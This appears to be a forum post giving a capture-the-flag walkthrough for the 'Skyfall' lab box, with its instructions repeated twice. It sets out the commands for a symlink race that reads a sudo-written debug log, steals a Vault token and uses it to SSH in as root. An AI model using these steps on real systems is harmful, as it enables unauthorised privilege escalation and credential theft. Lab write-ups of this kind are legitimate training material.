Mar 13, 2024, 11:17 AM
Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability
the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data
open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "
in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"
in the second "while true; do cat /dev/shm/symlink.log; done"
and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data
after that, execute "export VAULT_TOKEN="[data_you_find]"
and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"
Good Luck!
the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data
open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "
in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"
in the second "while true; do cat /dev/shm/symlink.log; done"
and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data
after that, execute "export VAULT_TOKEN="[data_you_find]"
and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"
Good Luck!